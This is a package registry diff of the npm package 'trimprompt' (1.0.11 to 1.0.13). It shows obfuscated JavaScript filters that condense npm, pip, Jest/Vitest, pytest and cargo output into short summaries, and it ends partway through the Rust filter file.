trimprompt 1.0.11 → 1.0.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1644ec=a0_0x4cf2;(function(_0x525477,_0x4c71d7){const _0x5e35d7=a0_0x4cf2,_0x57616a=_0x525477();while(!![]){try{const _0x502c7b=-parseInt(_0x5e35d7(0x1bc))/0x1*(-parseInt(_0x5e35d7(0x1ca))/0x2)+-parseInt(_0x5e35d7(0x1c8))/0x3*(parseInt(_0x5e35d7(0x1c4))/0x4)+-parseInt(_0x5e35d7(0x1c5))/0x5*(parseInt(_0x5e35d7(0x1ba))/0x6)+parseInt(_0x5e35d7(0x1ce))/0x7+-parseInt(_0x5e35d7(0x1b9))/0x8*(parseInt(_0x5e35d7(0x1c3))/0x9)+parseInt(_0x5e35d7(0x1da))/0xa*(parseInt(_0x5e35d7(0x1c9))/0xb)+parseInt(_0x5e35d7(0x1d2))/0xc;if(_0x502c7b===_0x4c71d7)break;else _0x57616a['push'](_0x57616a['shift']());}catch(_0x46e002){_0x57616a['push'](_0x57616a['shift']());}}}(a0_0x429d,0x5c80d));function a0_0x429d(){const _0x55eefc=['Test\x20Files:','1950081VDkUbQ','includes','\x20total)','up\x20to\x20date','6619044XbwaAl','split','\x20lines\x20of\x20trace\x20details\x20truncated)','push','\x0aFailures:','\x20passed','length','Test\x20Runner:\x20','50vhZqOC','found\x20','\x20failed\x20(','trim','match','5779544acMKpn','42pShyKZ','Test\x20Suites:','58160cylBJt','PASS','filterJestVitest','startsWith','join','Tests:','filterNpmInstall','9bopYEu','4xHDyEh','208655rmqUFA','\x20passed,\x20','slice','683976kqlWho','1484901bJrMqN','4JQPQhL','FAIL','NPM:\x20Packages\x20verified/installed\x20successfully'];a0_0x429d=function(){return _0x55eefc;};return a0_0x429d();}function a0_0x4cf2(_0x38ba9a,_0x2a475c){_0x38ba9a=_0x38ba9a-0x1b5;const _0x429dbc=a0_0x429d();let _0x4cf2d3=_0x429dbc[_0x38ba9a];return _0x4cf2d3;}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x1644ec(0x1c2)]=filterNpmInstall,exports[a0_0x1644ec(0x1be)]=filterJestVitest;function filterNpmInstall(_0x28ceda){const _0x26a5f2=a0_0x1644ec,_0x2f4c93=_0x28ceda['replace'](/\r/g,'\x0a'),_0x366db5=_0x2f4c93[_0x26a5f2(0x1d3)]('\x0a'),_0x26558c=[];for(const _0x4cf959 of _0x366db5){const _0x4a2749=_0x4cf959['trim']();(_0x4a2749[_0x26a5f2(0x1cf)]('added\x20')||_0x4a2749[_0x26a5f2(0x1cf)]('removed\x20')||_0x4a2749['includes']('audited\x20')||_0x4a2749['includes'](_0x26a5f2(0x1d1))||_0x4a2749[_0x26a5f2(0x1cf)](_0x26a5f2(0x1b5)))&&(!_0x4a2749[_0x26a5f2(0x1cf)]('%')&&!_0x4a2749['startsWith']('⠋')&&!_0x4a2749['startsWith']('⠙')&&_0x26558c[_0x26a5f2(0x1d5)](_0x4a2749));}const _0x5cfceb=_0x26558c[_0x26a5f2(0x1c0)]('\x0a')[_0x26a5f2(0x1b7)]();return _0x5cfceb[_0x26a5f2(0x1d8)]>0x0?_0x5cfceb:_0x26a5f2(0x1cc);}function filterJestVitest(_0x5e99cb){const _0x33a502=a0_0x1644ec,_0x12f549=_0x5e99cb[_0x33a502(0x1d3)]('\x0a');let _0xbf2a6c=0x0,_0x2209c8=0x0,_0x548daa=0x0;const _0x1297be=[];let _0x2aea0c=![];for(const _0x220630 of _0x12f549){const _0x2c8c32=_0x220630[_0x33a502(0x1b7)]();if(_0x2c8c32[_0x33a502(0x1bf)](_0x33a502(0x1c1))||_0x2c8c32[_0x33a502(0x1cf)](_0x33a502(0x1cd))){const _0x140f6d=_0x2c8c32['match'](/(\d+)\s+passed/),_0x2f7dd1=_0x2c8c32[_0x33a502(0x1b8)](/(\d+)\s+failed/),_0x5e76c4=_0x2c8c32['match'](/(\d+)\s+total/);if(_0x140f6d)_0xbf2a6c=parseInt(_0x140f6d[0x1]);if(_0x2f7dd1)_0x2209c8=parseInt(_0x2f7dd1[0x1]);if(_0x5e76c4)_0x548daa=parseInt(_0x5e76c4[0x1]);continue;}(_0x2c8c32[_0x33a502(0x1bf)]('❯')||_0x2c8c32[_0x33a502(0x1bf)]('●')||_0x2c8c32[_0x33a502(0x1bf)]('FAIL\x20\x20'))&&(_0x2aea0c=!![]),_0x2aea0c&&(_0x2c8c32[_0x33a502(0x1d8)]>0x0&&!_0x2c8c32[_0x33a502(0x1bf)](_0x33a502(0x1bb))&&!_0x2c8c32['startsWith'](_0x33a502(0x1c1))&&_0x1297be['push'](_0x220630));}if(_0x548daa===0x0&&_0xbf2a6c===0x0&&_0x2209c8===0x0){if(_0x5e99cb[_0x33a502(0x1cf)](_0x33a502(0x1bd))&&!_0x5e99cb[_0x33a502(0x1cf)](_0x33a502(0x1cb))){const _0x392998=_0x5e99cb['match'](/(\d+)\s+passed/),_0xb65f4b=_0x392998?_0x392998[0x1]:'all';return _0x33a502(0x1d9)+_0xb65f4b+_0x33a502(0x1d7);}return _0x5e99cb;}if(_0x2209c8===0x0&&_0xbf2a6c>0x0)return _0x33a502(0x1d9)+_0xbf2a6c+_0x33a502(0x1d7);const _0x3c8d01=[_0x33a502(0x1d9)+_0xbf2a6c+_0x33a502(0x1c6)+_0x2209c8+_0x33a502(0x1b6)+_0x548daa+_0x33a502(0x1d0)];if(_0x1297be[_0x33a502(0x1d8)]>0x0){_0x3c8d01['push'](_0x33a502(0x1d6));const _0x1afcd3=0x19,_0x40bcf8=_0x1297be[_0x33a502(0x1c7)](0x0,_0x1afcd3);for(const _0x1d8dbf of _0x40bcf8){_0x3c8d01['push']('\x20\x20'+_0x1d8dbf);}_0x1297be[_0x33a502(0x1d8)]>_0x1afcd3&&_0x3c8d01[_0x33a502(0x1d5)]('\x20\x20...\x20('+(_0x1297be[_0x33a502(0x1d8)]-_0x1afcd3)+_0x33a502(0x1d4));}return _0x3c8d01['join']('\x0a');}
1
+ 'use strict';const a0_0x55409e=a0_0x6f80;(function(_0x24ba41,_0x5b3a60){const _0x29df75=a0_0x6f80,_0x1f8908=_0x24ba41();while(!![]){try{const _0x5c47a8=parseInt(_0x29df75(0xc2))/0x1+-parseInt(_0x29df75(0xbf))/0x2*(parseInt(_0x29df75(0xb5))/0x3)+parseInt(_0x29df75(0xc9))/0x4+-parseInt(_0x29df75(0xb9))/0x5+parseInt(_0x29df75(0xcc))/0x6+parseInt(_0x29df75(0xca))/0x7*(-parseInt(_0x29df75(0xd8))/0x8)+parseInt(_0x29df75(0xcb))/0x9*(parseInt(_0x29df75(0xb8))/0xa);if(_0x5c47a8===_0x5b3a60)break;else _0x1f8908['push'](_0x1f8908['shift']());}catch(_0x403ed4){_0x1f8908['push'](_0x1f8908['shift']());}}}(a0_0x4dae,0x1c626));Object[a0_0x55409e(0xc7)](exports,a0_0x55409e(0xce),{'value':!![]}),exports[a0_0x55409e(0xc4)]=filterNpmInstall,exports['filterJestVitest']=filterJestVitest;function filterNpmInstall(_0x2d0297){const _0x48ad8b=a0_0x55409e,_0x73fde9=_0x2d0297[_0x48ad8b(0xba)](/\r/g,'\x0a'),_0x25780c=_0x73fde9[_0x48ad8b(0xb4)]('\x0a'),_0x2d7ad5=[];for(const _0x1cd424 of _0x25780c){const _0x39d785=_0x1cd424[_0x48ad8b(0xd2)]();(_0x39d785[_0x48ad8b(0xc3)]('added\x20')||_0x39d785[_0x48ad8b(0xc3)](_0x48ad8b(0xc6))||_0x39d785[_0x48ad8b(0xc3)](_0x48ad8b(0xd5))||_0x39d785[_0x48ad8b(0xc3)](_0x48ad8b(0xbb))||_0x39d785[_0x48ad8b(0xc3)](_0x48ad8b(0xbc)))&&(!_0x39d785[_0x48ad8b(0xc3)]('%')&&!_0x39d785[_0x48ad8b(0xd4)]('⠋')&&!_0x39d785[_0x48ad8b(0xd4)]('⠙')&&_0x2d7ad5[_0x48ad8b(0xcf)](_0x39d785));}const _0xeadd0c=_0x2d7ad5['join']('\x0a')[_0x48ad8b(0xd2)]();return _0xeadd0c['length']>0x0?_0xeadd0c:_0x48ad8b(0xbe);}function a0_0x6f80(_0x147810,_0x43c79d){_0x147810=_0x147810-0xb4;const _0x4daebb=a0_0x4dae();let _0x6f8018=_0x4daebb[_0x147810];return _0x6f8018;}function a0_0x4dae(){const _0x46fc70=['match','Tests:','264KFGaxg','split','43572BlUjXT','\x20passed,\x20','\x20total)','273810wDlTSn','94160SfxacD','replace','up\x20to\x20date','found\x20','length','NPM:\x20Packages\x20verified/installed\x20successfully','6qMGVFU','FAIL','join','139415jCFQOu','includes','filterNpmInstall','Test\x20Runner:\x20','removed\x20','defineProperty','slice','571348DxpYgi','43918dTvjpO','9cwMVLf','456450LAoDgx','PASS','__esModule','push','\x20failed\x20(','\x20passed','trim','\x20lines\x20of\x20trace\x20details\x20truncated)','startsWith','audited\x20'];a0_0x4dae=function(){return _0x46fc70;};return a0_0x4dae();}function filterJestVitest(_0x56cfbc){const _0x21543d=a0_0x55409e,_0x1d2a0d=_0x56cfbc[_0x21543d(0xb4)]('\x0a');let _0x16605c=0x0,_0x12bd7d=0x0,_0x542f6c=0x0;const _0x195bee=[];let _0xcc0da4=![];for(const _0x28ae9b of _0x1d2a0d){const _0x109e88=_0x28ae9b[_0x21543d(0xd2)]();if(_0x109e88[_0x21543d(0xd4)]('Tests:')||_0x109e88[_0x21543d(0xc3)]('Test\x20Files:')){const _0x2b1282=_0x109e88[_0x21543d(0xd6)](/(\d+)\s+passed/),_0x317dcd=_0x109e88['match'](/(\d+)\s+failed/),_0x25c7d6=_0x109e88[_0x21543d(0xd6)](/(\d+)\s+total/);if(_0x2b1282)_0x16605c=parseInt(_0x2b1282[0x1]);if(_0x317dcd)_0x12bd7d=parseInt(_0x317dcd[0x1]);if(_0x25c7d6)_0x542f6c=parseInt(_0x25c7d6[0x1]);continue;}(_0x109e88['startsWith']('❯')||_0x109e88[_0x21543d(0xd4)]('●')||_0x109e88['startsWith']('FAIL\x20\x20'))&&(_0xcc0da4=!![]),_0xcc0da4&&(_0x109e88[_0x21543d(0xbd)]>0x0&&!_0x109e88[_0x21543d(0xd4)]('Test\x20Suites:')&&!_0x109e88[_0x21543d(0xd4)](_0x21543d(0xd7))&&_0x195bee[_0x21543d(0xcf)](_0x28ae9b));}if(_0x542f6c===0x0&&_0x16605c===0x0&&_0x12bd7d===0x0){if(_0x56cfbc['includes'](_0x21543d(0xcd))&&!_0x56cfbc[_0x21543d(0xc3)](_0x21543d(0xc0))){const _0x175d14=_0x56cfbc[_0x21543d(0xd6)](/(\d+)\s+passed/),_0x317a4a=_0x175d14?_0x175d14[0x1]:'all';return _0x21543d(0xc5)+_0x317a4a+_0x21543d(0xd1);}return _0x56cfbc;}if(_0x12bd7d===0x0&&_0x16605c>0x0)return _0x21543d(0xc5)+_0x16605c+'\x20passed';const _0x2ea262=[_0x21543d(0xc5)+_0x16605c+_0x21543d(0xb6)+_0x12bd7d+_0x21543d(0xd0)+_0x542f6c+_0x21543d(0xb7)];if(_0x195bee[_0x21543d(0xbd)]>0x0){_0x2ea262['push']('\x0aFailures:');const _0x20e593=0x19,_0x3cf677=_0x195bee[_0x21543d(0xc8)](0x0,_0x20e593);for(const _0x3684db of _0x3cf677){_0x2ea262[_0x21543d(0xcf)]('\x20\x20'+_0x3684db);}_0x195bee[_0x21543d(0xbd)]>_0x20e593&&_0x2ea262['push']('\x20\x20...\x20('+(_0x195bee[_0x21543d(0xbd)]-_0x20e593)+_0x21543d(0xd3));}return _0x2ea262[_0x21543d(0xc1)]('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5474e6=a0_0x4383;(function(_0x4583cd,_0x3f3c8d){const _0x3b5c24=a0_0x4383,_0x170b69=_0x4583cd();while(!![]){try{const _0x34ef4f=-parseInt(_0x3b5c24(0xf8))/0x1*(-parseInt(_0x3b5c24(0x105))/0x2)+parseInt(_0x3b5c24(0x122))/0x3*(parseInt(_0x3b5c24(0xff))/0x4)+parseInt(_0x3b5c24(0x123))/0x5*(parseInt(_0x3b5c24(0x106))/0x6)+parseInt(_0x3b5c24(0x120))/0x7+parseInt(_0x3b5c24(0xfa))/0x8*(-parseInt(_0x3b5c24(0x117))/0x9)+-parseInt(_0x3b5c24(0x10c))/0xa+-parseInt(_0x3b5c24(0x11a))/0xb*(parseInt(_0x3b5c24(0xf7))/0xc);if(_0x34ef4f===_0x3f3c8d)break;else _0x170b69['push'](_0x170b69['shift']());}catch(_0x37d5f9){_0x170b69['push'](_0x170b69['shift']());}}}(a0_0x3fe8,0xeed4a));Object[a0_0x5474e6(0x11c)](exports,a0_0x5474e6(0x121),{'value':!![]}),exports[a0_0x5474e6(0x10a)]=filterPytest,exports[a0_0x5474e6(0x10d)]=filterPipInstall;function filterPytest(_0x39348e){const _0x446511=a0_0x5474e6,_0x14cfcd=_0x39348e[_0x446511(0x113)]('\x0a');let _0x2f07f6=0x0,_0xa3975e=0x0,_0x56b469=0x0,_0x33af4b=0x0,_0x5bc052=0x0;const _0x471c11=[];let _0x51177f=[],_0x25f3ff=![];for(const _0x1446cb of _0x14cfcd){const _0x598414=_0x1446cb['trim']();if(_0x598414['startsWith'](_0x446511(0x111))||_0x598414[_0x446511(0x11d)](_0x446511(0x126))){_0x25f3ff=!![];continue;}else(_0x598414['startsWith'](_0x446511(0x102))||_0x598414[_0x446511(0x11d)]('===')&&_0x598414['includes']('passed'))&&(_0x25f3ff=![],_0x51177f['length']>0x0&&(_0x471c11[_0x446511(0x10e)](_0x51177f),_0x51177f=[]));if(_0x25f3ff){if(_0x598414[_0x446511(0x11d)](_0x446511(0xfd)))_0x51177f[_0x446511(0x109)]>0x0&&(_0x471c11[_0x446511(0x10e)](_0x51177f),_0x51177f=[]),_0x51177f[_0x446511(0x10e)](_0x598414);else _0x598414[_0x446511(0x109)]>0x0&&_0x51177f[_0x446511(0x10e)](_0x1446cb);continue;}if(_0x598414[_0x446511(0x11d)](_0x446511(0x114))&&_0x598414[_0x446511(0x103)](_0x446511(0x112))){const _0xf6f260=_0x598414[_0x446511(0x107)](/(\d+)\s+passed/),_0x1944d7=_0x598414[_0x446511(0x107)](/(\d+)\s+failed/),_0x533614=_0x598414[_0x446511(0x107)](/(\d+)\s+skipped/),_0x264ba8=_0x598414[_0x446511(0x107)](/(\d+)\s+xfailed/),_0x1d9dc4=_0x598414[_0x446511(0x107)](/(\d+)\s+xpassed/);if(_0xf6f260)_0x2f07f6=parseInt(_0xf6f260[0x1]);if(_0x1944d7)_0xa3975e=parseInt(_0x1944d7[0x1]);if(_0x533614)_0x56b469=parseInt(_0x533614[0x1]);if(_0x264ba8)_0x33af4b=parseInt(_0x264ba8[0x1]);if(_0x1d9dc4)_0x5bc052=parseInt(_0x1d9dc4[0x1]);}}_0x51177f[_0x446511(0x109)]>0x0&&_0x471c11[_0x446511(0x10e)](_0x51177f);if(_0x2f07f6===0x0&&_0xa3975e===0x0&&_0x56b469===0x0&&_0x33af4b===0x0&&_0x5bc052===0x0){if(_0x39348e[_0x446511(0x103)]('passed')&&!_0x39348e[_0x446511(0x103)](_0x446511(0x115)))return _0x446511(0x128);return _0x39348e;}if(_0xa3975e===0x0&&_0x2f07f6>0x0&&_0x56b469===0x0&&_0x33af4b===0x0&&_0x5bc052===0x0)return _0x446511(0x118)+_0x2f07f6+_0x446511(0x11e);const _0x554a60=[];_0x554a60[_0x446511(0x10e)](_0x446511(0x118)+_0x2f07f6+_0x446511(0x11e));if(_0xa3975e>0x0)_0x554a60[_0x446511(0x10e)](_0xa3975e+_0x446511(0x10f));if(_0x56b469>0x0)_0x554a60[_0x446511(0x10e)](_0x56b469+_0x446511(0x101));if(_0x33af4b>0x0)_0x554a60[_0x446511(0x10e)](_0x33af4b+_0x446511(0x10b));if(_0x5bc052>0x0)_0x554a60[_0x446511(0x10e)](_0x5bc052+_0x446511(0x11f));const _0x2ef7ae=[_0x554a60[_0x446511(0xfb)](',\x20')];if(_0x471c11[_0x446511(0x109)]>0x0){_0x2ef7ae[_0x446511(0x10e)]('\x0aFailures:');const _0x230a6d=0x3,_0x44df9e=_0x471c11['slice'](0x0,_0x230a6d);for(let _0x5a2f94=0x0;_0x5a2f94<_0x44df9e[_0x446511(0x109)];_0x5a2f94++){const _0x225ef2=_0x44df9e[_0x5a2f94],_0xf87864=_0x225ef2[0x0]['replace'](/_/g,'')[_0x446511(0x127)]();_0x2ef7ae[_0x446511(0x10e)]('\x20\x20'+(_0x5a2f94+0x1)+'.\x20[FAIL]\x20'+_0xf87864);const _0x42928e=_0x225ef2[_0x446511(0x125)](0x1),_0x101f6e=_0x42928e[_0x446511(0xfe)](_0x21bb6e=>{const _0x50d756=_0x446511,_0x5b73f2=_0x21bb6e[_0x50d756(0x127)]();return _0x5b73f2[_0x50d756(0x11d)]('>')||_0x5b73f2[_0x50d756(0x11d)](_0x50d756(0x116))||_0x5b73f2['includes']('.py:')||_0x5b73f2[_0x50d756(0x103)](_0x50d756(0x124));});for(const _0x4b589f of _0x101f6e[_0x446511(0x125)](0x0,0x8)){_0x2ef7ae[_0x446511(0x10e)](_0x446511(0x104)+_0x4b589f);}_0x101f6e[_0x446511(0x109)]>0x8&&_0x2ef7ae[_0x446511(0x10e)](_0x446511(0xfc)+(_0x101f6e[_0x446511(0x109)]-0x8)+_0x446511(0x11b));}_0x471c11[_0x446511(0x109)]>_0x230a6d&&_0x2ef7ae['push']('\x20\x20...\x20+'+(_0x471c11[_0x446511(0x109)]-_0x230a6d)+'\x20more\x20failures\x20truncated');}return _0x2ef7ae[_0x446511(0xfb)]('\x0a');}function a0_0x4383(_0x2239c3,_0x20cc67){_0x2239c3=_0x2239c3-0xf7;const _0x3fe83a=a0_0x3fe8();let _0x4383c1=_0x3fe83a[_0x2239c3];return _0x4383c1;}function a0_0x3fe8(){const _0x2caa55=['\x20xpassed\x20(warning!)','3172568FzEWVm','__esModule','4284LFCDur','4295WSqGUl','AssertionError:','slice','===\x20ERRORS\x20===','trim','Pytest:\x20All\x20tests\x20passed','120180jpOoPp','31mTmoJz','Using\x20cached','192XqmVwK','join','\x20\x20\x20\x20...\x20(','___','filter','2896qZpiVY','Requirement\x20already\x20satisfied','\x20skipped','===\x20short\x20test\x20summary\x20info\x20===','includes','\x20\x20\x20\x20','33164xnxGsU','12684LkjFpH','match','Collecting','length','filterPytest','\x20xfailed','15355830zlTipR','filterPipInstall','push','\x20failed','Downloading','===\x20FAILURES\x20===','\x20in\x20','split','===','failed','E\x20\x20\x20','304686cjLXyQ','Pytest:\x20','Successfully\x20installed','539VuXvDU','\x20lines\x20of\x20stacktrace\x20truncated)','defineProperty','startsWith','\x20passed'];a0_0x3fe8=function(){return _0x2caa55;};return a0_0x3fe8();}function filterPipInstall(_0x2d3555){const _0x4d225c=a0_0x5474e6,_0x503f14=_0x2d3555['split']('\x0a'),_0x3d7b62=[];for(const _0xaad885 of _0x503f14){const _0x433938=_0xaad885['trim']();_0x433938['startsWith'](_0x4d225c(0x119))&&_0x3d7b62[_0x4d225c(0x10e)](_0x433938);}if(_0x3d7b62[_0x4d225c(0x109)]>0x0)return _0x3d7b62[_0x4d225c(0xfb)]('\x0a');return _0x503f14[_0x4d225c(0xfe)](_0x17190b=>{const _0x191b8b=_0x4d225c,_0x403593=_0x17190b[_0x191b8b(0x127)]();return!_0x403593[_0x191b8b(0x11d)](_0x191b8b(0x108))&&!_0x403593[_0x191b8b(0x11d)](_0x191b8b(0x110))&&!_0x403593[_0x191b8b(0x103)](_0x191b8b(0xf9))&&!_0x403593[_0x191b8b(0x11d)](_0x191b8b(0x100));})[_0x4d225c(0xfb)]('\x0a')[_0x4d225c(0x127)]();}
1
+ 'use strict';const a0_0x516b48=a0_0x3c1a;function a0_0x3c1a(_0x45ca08,_0x30b80d){_0x45ca08=_0x45ca08-0x156;const _0x1f6041=a0_0x1f60();let _0x3c1ad=_0x1f6041[_0x45ca08];return _0x3c1ad;}(function(_0xeb0bac,_0x1b0cb4){const _0x461133=a0_0x3c1a,_0x516cdd=_0xeb0bac();while(!![]){try{const _0x5926fc=-parseInt(_0x461133(0x15c))/0x1*(parseInt(_0x461133(0x177))/0x2)+parseInt(_0x461133(0x173))/0x3*(-parseInt(_0x461133(0x181))/0x4)+-parseInt(_0x461133(0x185))/0x5*(parseInt(_0x461133(0x17a))/0x6)+-parseInt(_0x461133(0x16c))/0x7+-parseInt(_0x461133(0x164))/0x8+parseInt(_0x461133(0x161))/0x9*(-parseInt(_0x461133(0x158))/0xa)+parseInt(_0x461133(0x156))/0xb*(parseInt(_0x461133(0x16a))/0xc);if(_0x5926fc===_0x1b0cb4)break;else _0x516cdd['push'](_0x516cdd['shift']());}catch(_0x22e3d2){_0x516cdd['push'](_0x516cdd['shift']());}}}(a0_0x1f60,0x55cec));Object[a0_0x516b48(0x157)](exports,a0_0x516b48(0x16b),{'value':!![]}),exports[a0_0x516b48(0x186)]=filterPytest,exports[a0_0x516b48(0x17c)]=filterPipInstall;function filterPytest(_0x1e673a){const _0x41aae3=a0_0x516b48,_0x3b56ea=_0x1e673a[_0x41aae3(0x17e)]('\x0a');let _0x5cef66=0x0,_0x313cb8=0x0,_0x336921=0x0,_0xaca4ca=0x0,_0x433d84=0x0;const _0x102b3a=[];let _0x49117f=[],_0x664edd=![];for(const _0x3646bc of _0x3b56ea){const _0x3ff879=_0x3646bc[_0x41aae3(0x16d)]();if(_0x3ff879[_0x41aae3(0x169)](_0x41aae3(0x16f))||_0x3ff879[_0x41aae3(0x169)](_0x41aae3(0x176))){_0x664edd=!![];continue;}else(_0x3ff879['startsWith'](_0x41aae3(0x15f))||_0x3ff879[_0x41aae3(0x169)]('===')&&_0x3ff879[_0x41aae3(0x165)]('passed'))&&(_0x664edd=![],_0x49117f[_0x41aae3(0x17f)]>0x0&&(_0x102b3a['push'](_0x49117f),_0x49117f=[]));if(_0x664edd){if(_0x3ff879[_0x41aae3(0x169)](_0x41aae3(0x184)))_0x49117f[_0x41aae3(0x17f)]>0x0&&(_0x102b3a['push'](_0x49117f),_0x49117f=[]),_0x49117f[_0x41aae3(0x180)](_0x3ff879);else _0x3ff879[_0x41aae3(0x17f)]>0x0&&_0x49117f['push'](_0x3646bc);continue;}if(_0x3ff879[_0x41aae3(0x169)](_0x41aae3(0x16e))&&_0x3ff879[_0x41aae3(0x165)](_0x41aae3(0x179))){const _0x21ac78=_0x3ff879[_0x41aae3(0x15a)](/(\d+)\s+passed/),_0x149c70=_0x3ff879['match'](/(\d+)\s+failed/),_0x5f3545=_0x3ff879['match'](/(\d+)\s+skipped/),_0x402674=_0x3ff879['match'](/(\d+)\s+xfailed/),_0xeddefe=_0x3ff879[_0x41aae3(0x15a)](/(\d+)\s+xpassed/);if(_0x21ac78)_0x5cef66=parseInt(_0x21ac78[0x1]);if(_0x149c70)_0x313cb8=parseInt(_0x149c70[0x1]);if(_0x5f3545)_0x336921=parseInt(_0x5f3545[0x1]);if(_0x402674)_0xaca4ca=parseInt(_0x402674[0x1]);if(_0xeddefe)_0x433d84=parseInt(_0xeddefe[0x1]);}}_0x49117f[_0x41aae3(0x17f)]>0x0&&_0x102b3a[_0x41aae3(0x180)](_0x49117f);if(_0x5cef66===0x0&&_0x313cb8===0x0&&_0x336921===0x0&&_0xaca4ca===0x0&&_0x433d84===0x0){if(_0x1e673a[_0x41aae3(0x165)](_0x41aae3(0x15e))&&!_0x1e673a[_0x41aae3(0x165)](_0x41aae3(0x168)))return _0x41aae3(0x162);return _0x1e673a;}if(_0x313cb8===0x0&&_0x5cef66>0x0&&_0x336921===0x0&&_0xaca4ca===0x0&&_0x433d84===0x0)return _0x41aae3(0x172)+_0x5cef66+_0x41aae3(0x171);const _0x254905=[];_0x254905[_0x41aae3(0x180)](_0x41aae3(0x172)+_0x5cef66+_0x41aae3(0x171));if(_0x313cb8>0x0)_0x254905[_0x41aae3(0x180)](_0x313cb8+_0x41aae3(0x170));if(_0x336921>0x0)_0x254905[_0x41aae3(0x180)](_0x336921+_0x41aae3(0x17d));if(_0xaca4ca>0x0)_0x254905[_0x41aae3(0x180)](_0xaca4ca+_0x41aae3(0x160));if(_0x433d84>0x0)_0x254905[_0x41aae3(0x180)](_0x433d84+_0x41aae3(0x174));const _0x10a8b2=[_0x254905[_0x41aae3(0x183)](',\x20')];if(_0x102b3a[_0x41aae3(0x17f)]>0x0){_0x10a8b2['push'](_0x41aae3(0x182));const _0x32c116=0x3,_0x15cf47=_0x102b3a[_0x41aae3(0x178)](0x0,_0x32c116);for(let _0x95c749=0x0;_0x95c749<_0x15cf47['length'];_0x95c749++){const _0x49058a=_0x15cf47[_0x95c749],_0x4ee520=_0x49058a[0x0][_0x41aae3(0x187)](/_/g,'')[_0x41aae3(0x16d)]();_0x10a8b2[_0x41aae3(0x180)]('\x20\x20'+(_0x95c749+0x1)+'.\x20[FAIL]\x20'+_0x4ee520);const _0x50d09c=_0x49058a[_0x41aae3(0x178)](0x1),_0x3902af=_0x50d09c['filter'](_0x5562f5=>{const _0x5abf5e=_0x41aae3,_0x6dff5e=_0x5562f5[_0x5abf5e(0x16d)]();return _0x6dff5e['startsWith']('>')||_0x6dff5e[_0x5abf5e(0x169)](_0x5abf5e(0x167))||_0x6dff5e[_0x5abf5e(0x165)](_0x5abf5e(0x175))||_0x6dff5e['includes']('AssertionError:');});for(const _0x58b272 of _0x3902af[_0x41aae3(0x178)](0x0,0x8)){_0x10a8b2[_0x41aae3(0x180)](_0x41aae3(0x166)+_0x58b272);}_0x3902af['length']>0x8&&_0x10a8b2[_0x41aae3(0x180)]('\x20\x20\x20\x20...\x20('+(_0x3902af[_0x41aae3(0x17f)]-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x102b3a[_0x41aae3(0x17f)]>_0x32c116&&_0x10a8b2['push'](_0x41aae3(0x163)+(_0x102b3a[_0x41aae3(0x17f)]-_0x32c116)+'\x20more\x20failures\x20truncated');}return _0x10a8b2[_0x41aae3(0x183)]('\x0a');}function a0_0x1f60(){const _0x12ae23=['filterPytest','replace','48598iVBujd','defineProperty','1023650WoysKb','Requirement\x20already\x20satisfied','match','filter','1259jieQlY','Using\x20cached','passed','===\x20short\x20test\x20summary\x20info\x20===','\x20xfailed','18hEbZpl','Pytest:\x20All\x20tests\x20passed','\x20\x20...\x20+','4453776xHmfrH','includes','\x20\x20\x20\x20','E\x20\x20\x20','failed','startsWith','7716ucphAH','__esModule','3529085ByaOtZ','trim','===','===\x20FAILURES\x20===','\x20failed','\x20passed','Pytest:\x20','650259JwESTg','\x20xpassed\x20(warning!)','.py:','===\x20ERRORS\x20===','422GnTMwf','slice','\x20in\x20','594jUJoPM','Successfully\x20installed','filterPipInstall','\x20skipped','split','length','push','12eceZBh','\x0aFailures:','join','___','15545WMfPAf'];a0_0x1f60=function(){return _0x12ae23;};return a0_0x1f60();}function filterPipInstall(_0x534d62){const _0x1e34e1=a0_0x516b48,_0x5aae71=_0x534d62[_0x1e34e1(0x17e)]('\x0a'),_0x5ef877=[];for(const _0x25fa0e of _0x5aae71){const _0x25e895=_0x25fa0e[_0x1e34e1(0x16d)]();_0x25e895[_0x1e34e1(0x169)](_0x1e34e1(0x17b))&&_0x5ef877['push'](_0x25e895);}if(_0x5ef877['length']>0x0)return _0x5ef877[_0x1e34e1(0x183)]('\x0a');return _0x5aae71[_0x1e34e1(0x15b)](_0x5d117a=>{const _0xbd35c8=_0x1e34e1,_0x1e0ef8=_0x5d117a['trim']();return!_0x1e0ef8['startsWith']('Collecting')&&!_0x1e0ef8[_0xbd35c8(0x169)]('Downloading')&&!_0x1e0ef8[_0xbd35c8(0x165)](_0xbd35c8(0x15d))&&!_0x1e0ef8[_0xbd35c8(0x169)](_0xbd35c8(0x159));})[_0x1e34e1(0x183)]('\x0a')[_0x1e34e1(0x16d)]();}
package/filters/rust.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x31b6(){const _0x579032=['987190dPRPmF','Cargo:\x20compiled\x20','error[','----\x20failures\x20----','\x20ignored','1918392PkIawX','\x20warnings','panicked','9ozZiuU','3ibvaHd','\x20failed,\x20','failures:','split','1499730pAglzJ','----\x20','\x20----','join','\x20\x20...\x20+','filterCargoTest','right:','Cargo:\x20','left:','startsWith','\x20\x20\x20\x20','\x20passed','__esModule','warning:','\x0aErrors:','trim','thread','32066QUPPFs','slice','16Vuwvyf','\x20crates\x20successfully','defineProperty','min','filterCargoBuild','876595KnBBuM','replace','Cargo\x20test:\x20','length','\x20more\x20errors','\x0aWarnings:','warning[','429664Gvbrfj','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','includes','match','error:','assert','1337581xLZKpT','Cargo\x20test:\x20all\x20tests\x20passed','test\x20result:','push'];a0_0x31b6=function(){return _0x579032;};return a0_0x31b6();}const a0_0x282674=a0_0x5ecb;function a0_0x5ecb(_0x495402,_0x28f796){_0x495402=_0x495402-0x9e;const _0x31b6d6=a0_0x31b6();let _0x5ecbd1=_0x31b6d6[_0x495402];return _0x5ecbd1;}(function(_0x228cd8,_0x4b7e6c){const _0xb15d9b=a0_0x5ecb,_0x3e0bbb=_0x228cd8();while(!![]){try{const 